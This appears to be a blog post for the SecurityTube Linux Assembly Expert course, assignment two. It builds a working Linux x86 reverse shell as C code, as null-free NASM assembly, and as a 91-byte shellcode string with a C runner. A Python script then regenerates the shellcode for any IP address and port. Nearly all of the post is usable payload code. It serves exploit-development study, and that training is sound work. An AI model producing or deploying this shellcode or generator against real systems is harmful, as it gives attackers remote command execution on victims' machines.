Intro

So assignment two is similar to assignment one, but this time is a reverse shell. Approach has been exactly the same, Eg C POC, Assembly than wrapper program. To be fair the assembly came a bit easier this time and wasn’t fair off working on first attempt so I’m making progress.

C Reverse Shell

First things first is the C proof of concept which is in fact a touch easier than the bind shell if anything be pretty straight forward to understand.

// File: reverse_shell.c
// Reverse shell in C, SLAE Assignment 2

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/ip.h>
#include <unistd.h>


#define PORT 5555
#define IP "127.0.0.1" 

int main(int argc, char *argv[])
{
	// define and populate structure for socket 
	struct sockaddr_in addr;
	addr.sin_family = AF_INET; // 2
	addr.sin_addr.s_addr = inet_addr(IP); //127.0.0.1 
	addr.sin_port = htons(PORT); // 5555

	// Define and create socket 
	int s; 
	s = socket(AF_INET, SOCK_STREAM, 0) ; // Socket = syscall 359, AF_INET = 2, SOCK_STREAM = 1 
	connect(s, (struct sockaddr *)&addr, sizeof(addr)); // Connect syscall = 362 
	
	// Duplicate in, out and error 
	dup2(s, 0); // Dup2 sycall = 63 
	dup2(s, 1);
	dup2(s, 2); 
	
	// Execute Shell 
	execve("/bin/sh",0 ,0); // Execve syscall = 11
	return 0;

}

Assembly Reverse Shell

As before this is a direct translation of the C code into assembly. Only really one tricky part this time around which was dealing with null bytes in the IP address. E.g, 127.0.0.1 in hex is 0x7f000001, which gives us null bytes in our shell-code. (Handy little converter here for reference https://www.browserling.com/tools/ip-to-hex ). Solution to this is to XOR 0x0100007f (0x7f000001 in reverse) with another value like 0xffffffff, use this value in the assembly code and XOR it back to the original value. See lines 23 to 25 for this.
One other useful tip is that I installed visual studio code on the Ubuntu box with the assembly language plugin which makes typing and viewing the code a whole lot easier than using a default text editor. You can grab the 32bit deb package from here https://code.visualstudio.com/download. Final assembly code is below.

; Filename: reverse_shell.nasm
; Website:  http://suls.co.uk
;
; Purpose: Reverse shell in x86 assembly 

global _start			

section .text
_start:

	; Clear everthing we are using 
	xor eax, eax 
	xor ebx, ebx 
	xor ecx, ecx 
	xor edx, edx 
	xor esi, esi
	xor edi, edi

	; Define structure for socket 
	; push 0x0100007f ; Push IP to stack in reverse byte order ; need to revist the null bytes here  (127.0.0.1)
	; We have a issue here in that the ip address 127.0.0.1 = 0x0100007f in hex which contains null bytes 
	; Easiest way around this is to XOR the value with 0xffffffff
	mov edi, 0xfeffff80 ; xor of 0x0100007f and 0xffffffff
	xor edi, 0xffffffff
	push edi
	push word 0xb315 ; Push 5555 to the stack in reverse byte order 5555 in hex = 0x15b3 
	push word 0x2 ; push 2  to the stack (AF-INET) 

	; Create socket 
	; s = socket(AF_INET, SOCK_STREAM, 0)
	mov ax, 0x167 ; Syscall 359 (socket)
	mov bl, 0x2 ; AF-INET (2) 
	mov cl, 0x1 ; Sock stream (1) 
	; dl should already be zero 
	int 0x80 ; call system interupt to create socket 
	xchg esi, eax ; socket file descriptor now stored in esi 

	; Connect socket 
	; connect(s, (struct sockaddr *)&addr, sizeof(addr));
	mov ax, 0x16a ; Syscall 362 connect 
	mov ebx, esi ; Move socket file descriptor into ebx 
	mov ecx, esp ; Point ecx to the top of the stack which has our address structure on it 
	mov dl, 0x10 ; Size of structure (16)
	int 0x80 ; call system interupt to create connect 

	; Dup input output and error file descriptors 
	; dup2(s, 0); // Dup2 sycall = 63  
	xor eax, eax ; Clear eax 
	mov ebx, esi ; move socket id to ebx 
	xor ecx, ecx ; Clear ecx 
	mov cl, 0x2 ; set ecx to 2 
loop:
	mov al, 0x3f ; syscall 63 
	int 0x80 ; call dup 2 
	dec ecx  ; decrease ecx by 1 
	jns loop ; jump if not signed back to loop, this should cycle 2,1,0

	; Execute Shell 
	; execve("/bin/sh",0 ,0); // Execve syscall = 11
	; (const char *filename, char *const argv[], char *const envp[]);
	xor eax,eax ; null eax 
	mov al, 0xb ; syscall 11 into eax
	xor ebx, ebx ; zero ebx 
	push ebx ; push a null string to the stack to terminate our string 
	push 0x68732f2f ; hs//
	push 0x6e69622f ; nib/
	mov ebx, esp ; point ebx at the stack
	xor ecx, ecx ; clear ecx and edx as they are used in the syscall 
	xor edx, edx
	int 0x80 

section .data

As before we can link and compile the code with the following commands

    nasm -f elf32 -o reverse_shell.o reverse_shell.nasm 
    gcc -o reverse_shell reverse_shell.o 

Again we can extract the shell-code from our binary double checking for null bytes and compile the shell code in the following program.

suls@ubuntu:~/myslae/SLAE/Assignment-2$ objdump -d ./reverse_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x31\xff\xbf\x80\xff\xff\xfe\x83\xf7\xff\x57\x66\x68\x15\xb3\x66\x6a\x02\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x96\x66\xb8\x6a\x01\x89\xf3\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x31\xff\xbf\x80\xff\xff\xfe\x83\xf7\xff\x57\x66\x68\x15\xb3\x66\x6a\x02\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x96\x66\xb8\x6a\x01\x89\xf3\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";

main()
{
	printf("Shellcode Length:  %d\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}

Shell-code is compiled as follows:

gcc -fno-stack-protector -z execstack -o reverse_shell_shellcode shellcode.c 

And we end up with working reverse shell shell-code of 91 bytes.

Wrapper Program

Decided to go with Python this time around for a bit of a change, main challenge was working out how to XOR the IP address but it turned out it wasn’t too tricky in the end. Also had a few issues getting the compiled shell-code working once the script was complete. Wire shark to the rescue here, pretty easy to spot what the issue is.

Pushing the shell code through in the correct order resolves this pretty quickly. Python script below, have included some basic error checking to check for null bytes and valid port numbers.

#!/usr/bin/env python3 
# File: wrapper.py
# Reverse shell wrapper in python3 , SLAE Assignment 2
# Usage: python3 wrapper.py 192.168.1.1 5000

import argparse
import socket 
from struct import unpack

print("\n*****************************************")
print("***** Reverse shell wrapper script ******")
print("*****************************************")

# Grab command line args (ip and port) 
parser = argparse.ArgumentParser() 
parser.add_argument("ip")
parser.add_argument("port")
args = parser.parse_args() 
# check port is in a valid range 
if ((int(args.port) > 65535) or (int(args.port) < 256)):
    print("\nPort number must be between 256 and 65535\n")
    exit()

# Xor Function 
def xor_strings(str1,str2):
    result =  int(str1,16) ^ int(str2,16)
    return '{:x}'.format(result)

# Process IP address
print("\nIP address: "+ args.ip)
# Convert IP to Hex 
hexip = socket.inet_aton(args.ip).hex() 
print("Hex IP Address: "+hexip)
# Reverse the hex String 
revhexip = hexip[6:8]
revhexip = revhexip + hexip[4:6]
revhexip = revhexip + hexip[2:4]
revhexip = revhexip + hexip[0:2]
# Xor the reversed hex address as the shellcode XORs this address to avoid null bytes 
xored_ip = xor_strings(revhexip,"FFFFFFFF")
print("XORed reverse hex IP Address: "+ xored_ip) 

# Process Port
print("\nPort: "+args.port)
# Convert Port to hex 
hexport = hex(int(args.port)).replace('0x','')
if len(hexport)<4:
    hexport = '0'+hexport
print("Hex Port: "+hexport)
revhexport = hexport[2:4]+ hexport[0:2] 
print("Reverse Hex Port: "+revhexport)

# Check for null bytes 
if (xored_ip[0:2]=="00" or 
    xored_ip[2:4]=="00" or 
    xored_ip[4:6]=="00" or 
    xored_ip[6:8]=="00" or 
    revhexport[0:2]=="00" or 
    revhexport[2:4]=="00"):
    print("\n** WARNING ** Null Bytes detected in Xored IP or port shellcode,")
    print("shellcode may not work !\n")

# Construct Shellcode 
shellcode= \
"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x31\\xf6\\x31\\xff\\xbf" + \
    "\\x"+ xored_ip[6:8] + \
    "\\x"+ xored_ip[4:6] + \
    "\\x"+ xored_ip[2:4] + \
    "\\x"+ xored_ip[0:2] + \
"\\x83\\xf7\\xff\\x57\\x66\\x68" + \
    "\\x"+ revhexport[2:4] + \
    "\\x"+ revhexport[0:2] + \
"\\x66\\x6a\\x02\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x96\\x66" + \
"\\xb8\\x6a\\x01\\x89\\xf3\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x31\\xc0\\x89\\xf3" + \
"\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xc0\\xb0\\x0b" + \
"\\x31\\xdb\\x53\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3" + \
"\\x31\\xc9\\x31\\xd2\\xcd\\x80"
# Output Shellcode 
print("\nShellcode (Length 91 Bytes): \n")
print(shellcode+"\n")

With our shell-code generated we can drop it into our shellcode.c file compile and test it as demonstrated before:

This completes assignment two, on to egg hunters in assignment 3! Source code is available on GitHub https://github.com/su1s/SLAE

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1436

Leave a Reply